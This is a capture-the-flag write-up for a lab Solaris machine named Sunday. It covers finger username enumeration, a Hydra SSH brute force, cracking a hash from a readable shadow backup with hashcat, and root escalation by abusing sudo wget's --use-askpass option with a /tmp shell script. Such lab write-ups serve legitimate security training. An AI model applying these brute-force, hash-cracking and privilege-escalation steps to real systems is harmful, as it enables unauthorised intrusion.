Sunday

Nmap :p

nmap -sC -sV -p- 10.129.x.x
PORT      STATE SERVICE  VERSION
79/tcp    open  finger?
111/tcp   open  rpcbind  2-4 (RPC #100000)
515/tcp   open  printer
6787/tcp  open  http     Apache httpd
22022/tcp open  ssh      OpenSSH 8.4 (protocol 2.0)

This is a Solaris box, and two things stand out. SSH is on a weird port, 22022, and finger is open on 79. Finger is an ancient service that tells you info about users on a system, which means we can use it to enumerate usernames.

finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.129.x.x

We get two real users who have logged in over SSH: sammy and sunny.

Foothold

Sunny’s password is brute forceable, it’s literally sunday. Hydra gets it quick:

hydra -l sunny -P /usr/share/wordlists/rockyou.txt ssh://10.129.x.x -s 22022
ssh sunny@10.129.x.x -p 22022

We got initial access as sunny, but no user flag. /etc/passwd shows the sammy user and their home directory, but we can’t read anything in it.

Looking around the filesystem, there’s a /backup directory with a shadow.backup file we can read. It’s basically a copy of /etc/shadow, with SHA256 crypt hashes for both users:

sunny@sunday:~$ cat /backup/shadow.backup
...
sammy:$5$...:6445::::::
sunny:$5$...:17636::::::

The $5$ prefix means SHA256 crypt, which is hashcat mode 7400. We copy sammy’s line into a file and crack it:

hashcat -m 7400 sammy.hash /usr/share/wordlists/rockyou.txt

The password is cooldude!. SSH in on the weird port again:

ssh sammy@10.129.x.x -p 22022

We can get the user flag now.

Privesc

sudo -l shows sammy can run wget as root with no password:

-bash-5.1$ sudo -l
User sammy may run the following commands on sunday:
    (root) NOPASSWD: /usr/bin/wget

wget has a --use-askpass option that runs a program to get a password. If we run wget as root and point that option at our own script, our script runs as root. GTFOBins has this one:

https://gtfobins.github.io/gtfobins/wget/

-bash-5.1$ echo -e '#!/bin/sh -p\n/bin/sh 1>&0' > /tmp/x
-bash-5.1$ chmod +x /tmp/x
-bash-5.1$ sudo wget --use-askpass=/tmp/x 0
root@sunday:/tmp# cat /root/root.txt

Ez gg.